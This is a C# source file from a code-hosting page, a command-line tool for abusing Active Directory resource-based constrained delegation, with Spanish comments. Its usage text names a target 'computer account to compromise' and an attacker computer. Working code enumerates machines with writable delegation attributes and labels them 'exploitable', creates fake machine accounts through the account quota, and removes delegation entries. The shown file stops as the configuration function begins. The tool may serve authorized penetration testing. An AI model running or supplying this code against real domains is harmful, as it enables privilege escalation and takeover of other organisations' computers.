-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
1207 lines (1011 loc) · 48.6 KB
/
Program.cs
File metadata and controls
1207 lines (1011 loc) · 48.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.Collections.Generic;
using System.Diagnostics.Eventing.Reader;
using System.DirectoryServices.Protocols;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Text;
namespace RBCD_Configurator
{
class Program
{
// GUID del atributo msDS-AllowedToActOnBehalfOfOtherIdentity
private static readonly Guid RBCD_ATTRIBUTE_GUID = new Guid("3f78c3e5-f79a-46bd-a0b8-9d18116ddc79");
// SID del principal "Self" que queremos filtrar
private static readonly string SELF_SID = "S-1-5-10";
static void Main(string[] args)
{
if (args.Length == 0)
{
ShowUsage();
return;
}
string command = args[0].ToLower();
// Modo verificación
if (command == "-verify" || command == "--verify")
{
if (args.Length < 2)
{
Console.WriteLine("[!] Error: Domain required for verification mode");
Console.WriteLine("Usage: rbcd_manager.exe -verify <domain>");
Console.WriteLine("Example: rbcd_manager.exe -verify CONTOSO.LOCAL");
return;
}
string domainName = args[1];
try
{
VerifyRBCDPermissions(domainName);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error: " + ex.Message);
Console.WriteLine("[!] Stack trace: " + ex.StackTrace);
}
return;
}
// Modo listar configuraciones RBCD
if (command == "-list" || command == "--list")
{
if (args.Length < 2)
{
Console.WriteLine("[!] Error: Domain required for list mode");
Console.WriteLine("Usage: rbcd_manager.exe -list <domain>");
Console.WriteLine("Example: rbcd_manager.exe -list CONTOSO.LOCAL");
return;
}
string domainName = args[1];
try
{
ListRBCDConfigurations(domainName);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error: " + ex.Message);
Console.WriteLine("[!] Stack trace: " + ex.StackTrace);
}
return;
}
// Modo crear cuenta de computadora
if (command == "-create" || command == "--create")
{
if (args.Length < 3)
{
Console.WriteLine("[!] Error: Computer name and domain required");
Console.WriteLine("Usage: rbcd_manager.exe -create <computer_name> <domain> [password]");
Console.WriteLine("Example: rbcd_manager.exe -create FAKE01 CONTOSO.LOCAL MyP@ssw0rd");
return;
}
string computerName = args[1];
string domain = args[2];
string password = args.Length >= 4 ? args[3] : GenerateRandomPassword();
try
{
CreateComputerAccount(computerName, domain, password);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error: " + ex.Message);
Console.WriteLine("[!] Stack trace: " + ex.StackTrace);
}
return;
}
// Modo eliminar cuenta de computadora
if (command == "-delete" || command == "--delete")
{
if (args.Length < 3)
{
Console.WriteLine("[!] Error: Computer name and domain required");
Console.WriteLine("Usage: rbcd_manager.exe -delete <computer_name> <domain>");
Console.WriteLine("Example: rbcd_manager.exe -delete FAKE01 CONTOSO.LOCAL");
return;
}
string computerName = args[1];
string domain = args[2];
try
{
DeleteComputerAccount(computerName, domain);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error: " + ex.Message);
Console.WriteLine("[!] Stack trace: " + ex.StackTrace);
}
return;
}
// Modo remover RBCD
if (command == "-remove" || command == "--remove")
{
if (args.Length < 3)
{
Console.WriteLine("[!] Error: Target computer and domain required");
Console.WriteLine("Usage: rbcd_manager.exe -remove <target_computer> <domain> [attacker_computer]");
Console.WriteLine("Example: rbcd_manager.exe -remove WEB01 CONTOSO.LOCAL ATTACKER01");
Console.WriteLine(" rbcd_manager.exe -remove WEB01 CONTOSO.LOCAL (removes all RBCD)");
return;
}
string targetComputer = args[1];
string domain = args[2];
string attackerComputer = args.Length >= 4 ? args[3] : null;
try
{
RemoveRBCD(targetComputer, domain, attackerComputer);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error: " + ex.Message);
Console.WriteLine("[!] Stack trace: " + ex.StackTrace);
}
return;
}
// Modo configuración RBCD
if (args.Length < 3)
{
ShowUsage();
return;
}
string targetComp = args[0];
string attackerComp = args[1];
string dom = args[2];
try
{
ConfigureRBCD(targetComp, attackerComp, dom);
}
catch (Exception ex)
{
Console.WriteLine("[!] Error: " + ex.Message);
Console.WriteLine("[!] Stack trace: " + ex.StackTrace);
}
}
static void ShowUsage()
{
Console.WriteLine(@"
RBCD Configurator - Resource-Based Constrained Delegation Tool
Usage:
[1] Configuration Mode:
rbcd_manager.exe <target_computer> <attacker_computer> <domain>
Arguments:
target_computer - Computer account to compromise (will have RBCD configured)
attacker_computer - Computer account that will be allowed to delegate to target
domain - Domain name (e.g., CONTOSO.LOCAL)
Example: rbcd_manager.exe WEB01 ATTACKER01 CONTOSO.LOCAL
[2] Verification Mode:
rbcd_manager.exe -verify <domain>
This mode enumerates computers where principals OTHER THAN 'Self' have WriteProperty
permissions on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Example: rbcd_manager.exe -verify CONTOSO.LOCAL
[3] List RBCD Configurations:
rbcd_manager.exe -list <domain>
Lists all computers in the domain and shows which principals are allowed to
delegate to them via RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity attribute).
Example: rbcd_manager.exe -list CONTOSO.LOCAL
[4] Create Computer Account:
rbcd_manager.exe -create <computer_name> <domain> [password]
Creates a new computer account in the domain. If no password is provided,
a random secure password will be generated.
Example: rbcd_manager.exe -create FAKE01 CONTOSO.LOCAL MyP@ssw0rd
rbcd_manager.exe -create FAKE01 CONTOSO.LOCAL
[5] Delete Computer Account:
rbcd_manager.exe -delete <computer_name> <domain>
Permanently deletes a computer account from the domain.
The account must exist and the current user must have the
necessary permissions (e.g., Domain Admins or Account Operators).
Example: rbcd_manager.exe -delete FAKE01 CONTOSO.LOCAL
[6] Remove RBCD Configuration:
rbcd_manager.exe -remove <target_computer> <domain> [attacker_computer]
Removes RBCD configuration from a target computer.
- If attacker_computer is specified: removes only that specific SID
- If attacker_computer is omitted: removes ALL RBCD configuration
Example: rbcd_manager.exe -remove WEB01 CONTOSO.LOCAL ATTACKER01
rbcd_manager.exe -remove WEB01 CONTOSO.LOCAL
Note: Computer names can be with or without $ suffix.
Will use current security context for authentication.
");
}
static string GenerateRandomPassword()
{
const string validChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*";
StringBuilder password = new StringBuilder();
Random random = new Random();
for (int i = 0; i < 24; i++)
{
password.Append(validChars[random.Next(validChars.Length)]);
}
return password.ToString();
}
static void CreateComputerAccount(string computerName, string domain, string password)
{
if (!computerName.EndsWith("$"))
computerName += "$";
Console.WriteLine("[*] Creating computer account: " + computerName);
Console.WriteLine("[*] Domain: " + domain);
Console.WriteLine("[*] Using: " + WindowsIdentity.GetCurrent().Name);
Console.WriteLine();
LdapConnection ldapConnection = new LdapConnection(new LdapDirectoryIdentifier(domain));
ldapConnection.SessionOptions.ProtocolVersion = 3;
ldapConnection.SessionOptions.SecureSocketLayer = false;
ldapConnection.SessionOptions.Sealing = true;
ldapConnection.SessionOptions.Signing = true;
ldapConnection.AuthType = AuthType.Negotiate;
try
{
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated to " + domain);
}
catch (LdapException ex)
{
Console.WriteLine("[!] LDAP bind failed: " + ex.Message);
ldapConnection.AuthType = AuthType.Kerberos;
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated with Kerberos");
}
// Verificar si la cuenta ya existe
try
{
string existingDN = FindComputerDN(ldapConnection, computerName, domain);
Console.WriteLine("[!] Computer account already exists: " + existingDN);
ldapConnection.Dispose();
return;
}
catch
{
// No existe, continuar con la creación
Console.WriteLine("[+] Computer account does not exist, proceeding with creation");
}
string searchBase = "DC=" + domain.Replace(".", ",DC=");
string computersContainer = "CN=Computers," + searchBase;
string computerDN = "CN=" + computerName.TrimEnd('$') + "," + computersContainer;
Console.WriteLine("[*] Target DN: " + computerDN);
Console.WriteLine("[*] Password length: " + password.Length + " characters");
// Crear cuenta con password desde el inicio
Console.WriteLine("[*] Attempting creation with password...");
try
{
AddRequest addRequest = new AddRequest(computerDN);
addRequest.Attributes.Add(new DirectoryAttribute("objectClass", "computer"));
addRequest.Attributes.Add(new DirectoryAttribute("sAMAccountName", computerName));
string quotedPassword = "\"" + password + "\"";
byte[] passwordBytes = Encoding.Unicode.GetBytes(quotedPassword);
addRequest.Attributes.Add(new DirectoryAttribute("unicodePwd", passwordBytes));
addRequest.Attributes.Add(new DirectoryAttribute("userAccountControl", "4096"));
string dnsHostname = computerName.TrimEnd('$') + "." + domain.ToLower();
addRequest.Attributes.Add(new DirectoryAttribute("dNSHostName", dnsHostname));
addRequest.Attributes.Add(new DirectoryAttribute("servicePrincipalName", new string[] {
"HOST/" + computerName.TrimEnd('$'),
"HOST/" + dnsHostname,
"RestrictedKrbHost/" + computerName.TrimEnd('$'),
"RestrictedKrbHost/" + dnsHostname
}));
AddResponse addResponse = (AddResponse)ldapConnection.SendRequest(addRequest);
Console.WriteLine("[+] Computer account created successfully (with password)!");
Console.WriteLine("[+] DN: " + computerDN);
Console.WriteLine("[+] Password: " + password);
Console.WriteLine();
Console.WriteLine("[*] IMPORTANT: Save this password, it cannot be retrieved later!");
ldapConnection.Dispose();
return;
}
catch (DirectoryOperationException ex)
{
Console.WriteLine("[!] Creation with password failed: " + ex.Response.ResultCode);
Console.WriteLine("[!] Error message: " + ex.Message);
if (ex.Response.ErrorMessage != null && ex.Response.ErrorMessage.Length > 0)
{
Console.WriteLine("[!] Extended error: " + ex.Response.ErrorMessage);
}
if (ex.Response.ResultCode == ResultCode.InsufficientAccessRights)
{
Console.WriteLine();
Console.WriteLine("[!] Insufficient permissions to create computer account");
Console.WriteLine("[!] Required permissions:");
Console.WriteLine(" - 'Create Computer Objects' in the Computers container");
Console.WriteLine(" - Or be member of 'Account Operators' or 'Domain Admins'");
}
else if (ex.Response.ResultCode == ResultCode.UnwillingToPerform)
{
Console.WriteLine();
Console.WriteLine("[!] Server refused to perform the operation");
Console.WriteLine("[!] Possible causes:");
Console.WriteLine(" - Password complexity requirements not met");
Console.WriteLine(" - Machine account quota exceeded (default is 10 per user)");
Console.WriteLine(" - Connection not encrypted (password transmission)");
Console.WriteLine();
Console.WriteLine("[*] Current password: " + password);
Console.WriteLine("[*] Try checking: ms-DS-MachineAccountQuota attribute on domain");
}
else if (ex.Response.ResultCode == ResultCode.ConstraintViolation)
{
Console.WriteLine();
Console.WriteLine("[!] Constraint violation - Password doesn't meet requirements");
}
ldapConnection.Dispose();
return;
}
}
static void DeleteComputerAccount(string computerName, string domain)
{
if (!computerName.EndsWith("$"))
computerName += "$";
Console.WriteLine("[*] Deleting computer account: " + computerName);
Console.WriteLine("[*] Domain: " + domain);
Console.WriteLine("[*] Using: " + WindowsIdentity.GetCurrent().Name);
Console.WriteLine();
LdapConnection ldapConnection = new LdapConnection(new LdapDirectoryIdentifier(domain));
ldapConnection.SessionOptions.ProtocolVersion = 3;
ldapConnection.SessionOptions.SecureSocketLayer = false;
ldapConnection.SessionOptions.Sealing = true;
ldapConnection.SessionOptions.Signing = true;
ldapConnection.AuthType = AuthType.Negotiate;
try
{
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated to " + domain);
}
catch (LdapException ex)
{
Console.WriteLine("[!] LDAP bind failed: " + ex.Message);
ldapConnection.AuthType = AuthType.Kerberos;
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated with Kerberos");
}
// Verificar si la cuenta existe antes de intentar eliminarla
string computerDN;
try
{
computerDN = FindComputerDN(ldapConnection, computerName, domain);
Console.WriteLine("[+] Found computer account: " + computerDN);
}
catch
{
Console.WriteLine("[!] Computer account not found: " + computerName);
Console.WriteLine("[!] Make sure the account exists in domain " + domain);
ldapConnection.Dispose();
return;
}
// Eliminar la cuenta de computadora
Console.WriteLine("[*] Proceeding with deletion...");
try
{
DeleteRequest deleteRequest = new DeleteRequest(computerDN);
DeleteResponse deleteResponse = (DeleteResponse)ldapConnection.SendRequest(deleteRequest);
Console.WriteLine("[+] Computer account deleted successfully!");
Console.WriteLine("[+] Deleted DN: " + computerDN);
}
catch (DirectoryOperationException ex)
{
Console.WriteLine("[!] Deletion failed: " + ex.Response.ResultCode);
Console.WriteLine("[!] Error message: " + ex.Message);
if (ex.Response.ErrorMessage != null && ex.Response.ErrorMessage.Length > 0)
{
Console.WriteLine("[!] Extended error: " + ex.Response.ErrorMessage);
}
if (ex.Response.ResultCode == ResultCode.InsufficientAccessRights)
{
Console.WriteLine();
Console.WriteLine("[!] Insufficient permissions to delete computer account");
}
else if (ex.Response.ResultCode == ResultCode.NotAllowedOnNonLeaf)
{
Console.WriteLine();
Console.WriteLine("[!] The object has child objects and cannot be deleted directly");
Console.WriteLine("[!] Remove any child objects first, then retry deletion");
}
else if (ex.Response.ResultCode == ResultCode.UnwillingToPerform)
{
Console.WriteLine();
Console.WriteLine("[!] Server refused to perform the deletion");
Console.WriteLine("[!] The account may be protected against accidental deletion");
Console.WriteLine("[!] Check the 'Protect object from accidental deletion' flag in ADUC");
}
}
ldapConnection.Dispose();
}
static void ListRBCDConfigurations(string domainName)
{
Console.WriteLine("[*] Listing RBCD configurations");
Console.WriteLine("[*] Domain: " + domainName);
Console.WriteLine("[*] Current user: " + WindowsIdentity.GetCurrent().Name);
Console.WriteLine();
LdapConnection ldapConnection = new LdapConnection(new LdapDirectoryIdentifier(domainName));
ldapConnection.SessionOptions.ProtocolVersion = 3;
ldapConnection.AuthType = AuthType.Negotiate;
try
{
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated to " + domainName);
}
catch (LdapException ex)
{
Console.WriteLine("[!] LDAP bind failed: " + ex.Message);
ldapConnection.AuthType = AuthType.Kerberos;
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated with Kerberos");
}
Console.WriteLine("[*] Enumerating computers in domain...");
List<string> computers = GetAllComputers(ldapConnection, domainName);
Console.WriteLine("[+] Found " + computers.Count + " computers");
Console.WriteLine();
Console.WriteLine("================================================================================");
Console.WriteLine(String.Format("{0,-30} {1}", "Name", "PrincipalsAllowedToDelegateToAccount"));
Console.WriteLine(String.Format("{0,-30} {1}", "----", "------------------------------------"));
int configuredCount = 0;
foreach (string computerDN in computers)
{
string computerName = GetComputerNameFromDN(computerDN);
List<string> allowedPrincipals = GetRBCDConfiguration(ldapConnection, computerDN, domainName);
if (allowedPrincipals.Count > 0)
{
configuredCount++;
Console.WriteLine(String.Format("{0,-30} {{{1}}}", computerName, String.Join(", ", allowedPrincipals)));
}
else
{
Console.WriteLine(String.Format("{0,-30} {{}}", computerName));
}
}
Console.WriteLine("================================================================================");
Console.WriteLine();
Console.WriteLine("[+] Total computers: " + computers.Count);
Console.WriteLine("[+] Computers with RBCD configured: " + configuredCount);
Console.WriteLine("[+] Computers without RBCD: " + (computers.Count - configuredCount));
ldapConnection.Dispose();
}
static string GetComputerNameFromDN(string distinguishedName)
{
// Extrae el nombre de la computadora del DN
// Ejemplo: "CN=LON-DC-1,OU=Domain Controllers,DC=contoso,DC=com" -> "LON-DC-1"
if (distinguishedName.StartsWith("CN="))
{
int startIndex = 3; // Después de "CN="
int endIndex = distinguishedName.IndexOf(',');
if (endIndex > startIndex)
{
return distinguishedName.Substring(startIndex, endIndex - startIndex);
}
}
return distinguishedName;
}
static List<string> GetRBCDConfiguration(LdapConnection connection, string distinguishedName, string domain)
{
List<string> allowedPrincipals = new List<string>();
try
{
SearchRequest searchRequest = new SearchRequest(
distinguishedName,
"(objectClass=*)",
SearchScope.Base,
new string[] { "msDS-AllowedToActOnBehalfOfOtherIdentity" }
);
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
if (searchResponse.Entries.Count == 0)
return allowedPrincipals;
if (!searchResponse.Entries[0].Attributes.Contains("msDS-AllowedToActOnBehalfOfOtherIdentity"))
return allowedPrincipals;
byte[] securityDescriptor = searchResponse.Entries[0].Attributes["msDS-AllowedToActOnBehalfOfOtherIdentity"][0] as byte[];
if (securityDescriptor == null || securityDescriptor.Length == 0)
return allowedPrincipals;
RawSecurityDescriptor sd = new RawSecurityDescriptor(securityDescriptor, 0);
foreach (CommonAce ace in sd.DiscretionaryAcl)
{
string sid = ace.SecurityIdentifier.Value;
string principalDN = ResolveSidToDN(connection, sid, domain);
if (!string.IsNullOrEmpty(principalDN))
{
allowedPrincipals.Add(principalDN);
}
}
}
catch (Exception)
{
// Ignorar errores en computadoras individuales
}
return allowedPrincipals;
}
static string ResolveSidToDN(LdapConnection connection, string sid, string domain)
{
try
{
string searchBase = "DC=" + domain.Replace(".", ",DC=");
string filter = "(objectSid=" + ConvertSidToSearchFilter(sid) + ")";
SearchRequest searchRequest = new SearchRequest(
searchBase,
filter,
SearchScope.Subtree,
new string[] { "distinguishedName" }
);
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
if (searchResponse.Entries.Count > 0)
{
return searchResponse.Entries[0].DistinguishedName;
}
}
catch (Exception)
{
// Si no se puede resolver, retornar el SID
}
return "SID=" + sid;
}
static void RemoveRBCD(string targetComputer, string domain, string attackerComputer)
{
if (!targetComputer.EndsWith("$"))
targetComputer += "$";
Console.WriteLine("[*] Removing RBCD configuration from: " + targetComputer);
Console.WriteLine("[*] Domain: " + domain);
Console.WriteLine("[*] Using: " + WindowsIdentity.GetCurrent().Name);
if (attackerComputer != null)
{
if (!attackerComputer.EndsWith("$"))
attackerComputer += "$";
Console.WriteLine("[*] Removing specific SID: " + attackerComputer);
}
else
{
Console.WriteLine("[*] Removing ALL RBCD configuration");
}
Console.WriteLine();
LdapConnection ldapConnection = new LdapConnection(new LdapDirectoryIdentifier(domain));
ldapConnection.SessionOptions.ProtocolVersion = 3;
ldapConnection.AuthType = AuthType.Negotiate;
try
{
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated to " + domain);
}
catch (LdapException ex)
{
Console.WriteLine("[!] LDAP bind failed: " + ex.Message);
ldapConnection.AuthType = AuthType.Kerberos;
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated with Kerberos");
}
Console.WriteLine("[*] Searching for " + targetComputer);
string targetDN = FindComputerDN(ldapConnection, targetComputer, domain);
Console.WriteLine("[+] Found target: " + targetDN);
byte[] existingSD = GetExistingSecurityDescriptor(ldapConnection, targetDN);
if (existingSD == null || existingSD.Length == 0)
{
Console.WriteLine("[!] No RBCD configuration found on target computer");
ldapConnection.Dispose();
return;
}
if (attackerComputer == null)
{
// Remover toda la configuración RBCD
Console.WriteLine("[*] Clearing all RBCD configuration...");
ModifyAttribute(ldapConnection, targetDN, "msDS-AllowedToActOnBehalfOfOtherIdentity", null);
Console.WriteLine("[+] All RBCD configuration removed successfully!");
}
else
{
// Remover solo un SID específico
Console.WriteLine("[*] Searching for " + attackerComputer);
string attackerDN = FindComputerDN(ldapConnection, attackerComputer, domain);
Console.WriteLine("[+] Found attacker: " + attackerDN);
string attackerSid = GetObjectSid(ldapConnection, attackerDN);
Console.WriteLine("[+] Attacker SID: " + attackerSid);
string newSD = RemoveSidFromSecurityDescriptor(existingSD, attackerSid);
if (newSD == null)
{
Console.WriteLine("[!] SID not found in RBCD configuration");
}
else
{
ModifyAttribute(ldapConnection, targetDN, "msDS-AllowedToActOnBehalfOfOtherIdentity", newSD);
Console.WriteLine("[+] RBCD configuration updated successfully!");
Console.WriteLine("[+] Removed " + attackerComputer + " from delegation list");
}
}
ldapConnection.Dispose();
}
static string RemoveSidFromSecurityDescriptor(byte[] existingSDBytes, string sidToRemove)
{
RawSecurityDescriptor sd = new RawSecurityDescriptor(existingSDBytes, 0);
Console.WriteLine("[*] Current RBCD entries: " + sd.DiscretionaryAcl.Count);
bool sidFound = false;
int indexToRemove = -1;
for (int i = 0; i < sd.DiscretionaryAcl.Count; i++)
{
CommonAce ace = sd.DiscretionaryAcl[i] as CommonAce;
if (ace != null && ace.SecurityIdentifier.Value == sidToRemove)
{
sidFound = true;
indexToRemove = i;
break;
}
}
if (!sidFound)
{
return null;
}
sd.DiscretionaryAcl.RemoveAce(indexToRemove);
Console.WriteLine("[+] SID removed. Remaining entries: " + sd.DiscretionaryAcl.Count);
if (sd.DiscretionaryAcl.Count == 0)
{
Console.WriteLine("[*] No more entries, will clear the attribute entirely");
return "";
}
byte[] sdBytes = new byte[sd.BinaryLength];
sd.GetBinaryForm(sdBytes, 0);
return Convert.ToBase64String(sdBytes);
}
static void VerifyRBCDPermissions(string domainName)
{
Console.WriteLine("[*] Starting RBCD permissions verification");
Console.WriteLine("[*] Domain: " + domainName);
Console.WriteLine("[*] Current user: " + WindowsIdentity.GetCurrent().Name);
Console.WriteLine();
LdapConnection ldapConnection = new LdapConnection(new LdapDirectoryIdentifier(domainName));
ldapConnection.SessionOptions.ProtocolVersion = 3;
ldapConnection.AuthType = AuthType.Negotiate;
try
{
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated to " + domainName);
}
catch (LdapException ex)
{
Console.WriteLine("[!] LDAP bind failed: " + ex.Message);
ldapConnection.AuthType = AuthType.Kerberos;
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated with Kerberos");
}
string currentUserSid = WindowsIdentity.GetCurrent().User.Value;
Console.WriteLine("[*] Current user SID: " + currentUserSid);
Console.WriteLine();
Console.WriteLine("[*] Enumerating computers in domain...");
List<string> computers = GetAllComputers(ldapConnection, domainName);
Console.WriteLine("[+] Found " + computers.Count + " computers");
Console.WriteLine();
Console.WriteLine("[*] Checking RBCD WriteProperty permissions...");
Console.WriteLine("[*] Filtering out computers where only 'Self' has permissions...");
Console.WriteLine("================================================================================");
int vulnerableCount = 0;
int totalWithPermissions = 0;
foreach (string computerDN in computers)
{
List<string> permittedSids = CheckRBCDPermissions(ldapConnection, computerDN);
if (permittedSids.Count > 0)
{
totalWithPermissions++;
List<string> filteredSids = new List<string>();
foreach (string sid in permittedSids)
{
if (sid != SELF_SID)
{
filteredSids.Add(sid);
}
}
if (filteredSids.Count > 0)
{
vulnerableCount++;
Console.WriteLine();
Console.WriteLine("Computer: " + computerDN);
Console.WriteLine("Principals with WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity:");
foreach (string sid in filteredSids)
{
string accountName = ResolveSidToName(ldapConnection, sid, domainName);
Console.WriteLine(" - SID: " + sid);
Console.WriteLine(" Name: " + accountName);
}
}
}
}
Console.WriteLine();
Console.WriteLine("================================================================================");
Console.WriteLine("[+] Verification complete!");
Console.WriteLine("[+] Total computers analyzed: " + computers.Count);
Console.WriteLine("[+] Computers with any RBCD permissions: " + totalWithPermissions);
Console.WriteLine("[+] Computers with exploitable RBCD permissions (excluding Self): " + vulnerableCount);
if (vulnerableCount == 0)
{
Console.WriteLine();
Console.WriteLine("[*] No exploitable RBCD misconfigurations found.");
Console.WriteLine("[*] All computers only have 'Self' permissions (default/secure configuration).");
}
ldapConnection.Dispose();
}
static List<string> GetAllComputers(LdapConnection connection, string domain)
{
List<string> computers = new List<string>();
string searchBase = "DC=" + domain.Replace(".", ",DC=");
string filter = "(objectClass=computer)";
SearchRequest searchRequest = new SearchRequest(
searchBase,
filter,
SearchScope.Subtree,
new string[] { "distinguishedName" }
);
PageResultRequestControl pageControl = new PageResultRequestControl(1000);
searchRequest.Controls.Add(pageControl);
while (true)
{
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
foreach (SearchResultEntry entry in searchResponse.Entries)
{
computers.Add(entry.DistinguishedName);
}
PageResultResponseControl pageResponse = (PageResultResponseControl)searchResponse.Controls[0];
if (pageResponse.Cookie.Length == 0)
break;
pageControl.Cookie = pageResponse.Cookie;
}
return computers;
}
static List<string> CheckRBCDPermissions(LdapConnection connection, string distinguishedName)
{
List<string> permittedSids = new List<string>();
try
{
SearchRequest searchRequest = new SearchRequest(
distinguishedName,
"(objectClass=*)",
SearchScope.Base,
new string[] { "nTSecurityDescriptor" }
);
SecurityDescriptorFlagControl sdControl = new SecurityDescriptorFlagControl();
sdControl.SecurityMasks = SecurityMasks.Dacl;
searchRequest.Controls.Add(sdControl);
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
if (searchResponse.Entries.Count == 0)
return permittedSids;
byte[] ntSecurityDescriptor = searchResponse.Entries[0].Attributes["nTSecurityDescriptor"][0] as byte[];
RawSecurityDescriptor sd = new RawSecurityDescriptor(ntSecurityDescriptor, 0);
foreach (GenericAce genericAce in sd.DiscretionaryAcl)
{
ObjectAce objectAce = genericAce as ObjectAce;
if (objectAce == null)
continue;
if (objectAce.AceQualifier != AceQualifier.AccessAllowed)
continue;
if ((objectAce.AccessMask & 0x20) == 0)
continue;
if (objectAce.ObjectAceType == RBCD_ATTRIBUTE_GUID)
{
string sidValue = objectAce.SecurityIdentifier.Value;
if (!permittedSids.Contains(sidValue))
{
permittedSids.Add(sidValue);
}
}
}
}
catch (Exception)
{
// Ignorar errores en computadoras individuales
}
return permittedSids;
}
static string ResolveSidToName(LdapConnection connection, string sid, string domain)
{
try
{
string searchBase = "DC=" + domain.Replace(".", ",DC=");
string filter = "(objectSid=" + ConvertSidToSearchFilter(sid) + ")";
SearchRequest searchRequest = new SearchRequest(
searchBase,
filter,
SearchScope.Subtree,
new string[] { "sAMAccountName", "distinguishedName" }
);
SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
if (searchResponse.Entries.Count > 0)
{
if (searchResponse.Entries[0].Attributes.Contains("sAMAccountName"))
{
return searchResponse.Entries[0].Attributes["sAMAccountName"][0].ToString();
}
return searchResponse.Entries[0].DistinguishedName;
}
}
catch (Exception)
{
// Si no se puede resolver, retornar el SID
}
return "Unknown (" + sid + ")";
}
static string ConvertSidToSearchFilter(string sid)
{
SecurityIdentifier secId = new SecurityIdentifier(sid);
byte[] sidBytes = new byte[secId.BinaryLength];
secId.GetBinaryForm(sidBytes, 0);
string result = "";
foreach (byte b in sidBytes)
{
result += "\\" + b.ToString("x2");
}
return result;
}
static void ConfigureRBCD(string targetComputer, string attackerComputer, string domain)
{
